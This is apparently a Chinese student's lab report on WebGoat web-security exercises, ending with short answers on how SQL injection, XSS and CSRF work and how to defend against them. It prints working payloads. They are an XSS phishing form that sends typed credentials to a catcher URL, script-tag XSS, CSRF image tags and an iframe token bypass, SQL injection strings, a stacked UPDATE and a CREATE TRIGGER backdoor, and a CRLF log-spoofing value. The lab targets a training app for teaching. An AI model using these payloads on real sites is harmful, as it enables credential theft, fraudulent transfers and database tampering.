20155220 Exp9 Web安全基礎實踐

Exp9 Web安全基礎實踐

實驗過程

開啓webgoat

  • 輸入java -jar webgoat-container-7.1-exec.jar,來運行webgoat
    java

  • 在瀏覽器輸入localhost:8080/WebGoat,進入WebGoat開始實驗
    web

XSS攻擊

1.Phishing with XSS (網路釣魚)正則表達式

  • 在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色。咱們先建立一個form,讓受害人在咱們建立的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,完整的XSS攻擊代碼以下:
</form>
<script>
function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 將上面的代碼輸入到輸入框中,會出現以下登陸框

  • 輸入用戶名和密碼,提示攻擊成功

2.Stored XSS Attackssql

  • 建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容,輸入標題,而後在message中輸入一串代碼,<script>alert("20155220 has no authority read it");</script>數據庫

  • 結果如圖:瀏覽器

3.Reflected XSS Attacks安全

  • 當咱們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現給咱們看:

  • 這時若是咱們將帶有攻擊性的URL做爲輸入源,例如輸入<script>alert("20155220 has no authority change it");</script>,就會彈出對話框:

CSRF攻擊

4.Cross Site Request Forgery(CSRF)服務器

  • 寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,經過圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。咱們輸入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">cookie

  • 如圖:session

  • 因爲我點擊了發佈的文件2次,因此右側爲2。

5.CSRF Prompt By-Pass

  • 內容和前者類似,只不過此次須要確認轉帳,首先編輯內容<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=201552220" width="1" height="1">

  • 在瀏覽器中輸入URL:localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=20155220

  • 點擊CONFIRM按鈕,再在瀏覽器中輸入URL:http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM,成功轉走了20155220元

6.CSRF Token By-Pass

  • 本實驗爲讀取令牌,並把令牌加到僞造的URL中,主要是讀取目標網頁的令牌,咱們在文本框中加入以下代碼:
    <iframe src="attack?Screen=803158781&menu=900&transferFunds=main" onload="readFrame1();"id="frame1" frameborder="1" marginwidth="0"marginheight="0"width="800" scrolling=yes height="300">

如圖:

  • 攻擊成功

Injection Flaws

7.Numeric SQL Injection

  • 經過注入SQL字符串的方式查看全部的天氣數據,加上一個1=1這種永真式便可達到咱們的目的,利用firebug,在任意一個值好比101旁邊加上or 1=1

  • 而後選中Columbia,點Go,能夠看到全部天氣數據

8.Log Spoofing

  • 咱們輸入的用戶名會被追加到日誌文件中,因此咱們可使用障眼法來使用戶名爲admin的用戶在日誌中顯示「成功登陸」,在User Name文本框中輸入20155220%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符

9.String SQL Injection

  • 構造SQL注入字符串,在文本框中輸入`' or 1=1 --,點擊GO,能夠查看到因此信息:

10.Database Backdoors

  • 先輸一個101,獲得了該用戶的信息:

  • 能夠發現輸入的語句沒有驗證,很容易進行SQL注入,輸入注入語句:101; update employee set salary=100000,成功把該用戶的工資漲到了100000

  • 接下來建立一個後門,把表中全部的郵箱和用戶ID都設爲個人

  • 輸入101;CREATE TRIGGER pyhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155220@stooges.com' WHERE userid = NEW.userid

基礎問題

SQL注入攻擊原理,如何防護?

  • SQL注入漏洞是指在Web應用對後臺數據庫查詢語句處理存在的安全漏洞。也就是,在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認做正常SQL指令後正常執行,可能實現對後臺數據庫進行各類操做,甚至形成破壞後臺數據庫等嚴重後果。
  • 對用戶的輸入進行校驗,能夠經過正則表達式,雙"-"進行轉換等。
  • 不要使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取;不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接;不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
  • 應用的異常信息應該給出儘量少的提示。
  • 採起輔助軟件或網站平臺來檢測sql注入。

XSS攻擊的原理,如何防護?

  • 攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。

  • 瀏覽器自身能夠識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;從根本上說,解決辦法是消除網站的XSS漏洞,這就須要網站開發者運用轉義安全字符等手段。

CSRF攻擊原理,如何防護?

  • 攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,相似於釣魚。如用戶當前已經登陸了郵箱,或bbs,同時用戶又在使用另一個,已經被你控制的站點,咱們姑且叫它釣魚網站。這個網站上面可能由於某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,因爲當前你的瀏覽器狀態已是登錄狀態,因此session登錄cookie信息都會跟正常的請求同樣,純自然的利用當前的登錄狀態,讓用戶在不知情的狀況下,幫你發帖或幹其餘事情

  • 經過referer、token或者驗證碼來檢測用戶提交;儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post操做;避免全站通用的cookie,嚴格設置cookie的域。

相關文章
相關標籤/搜索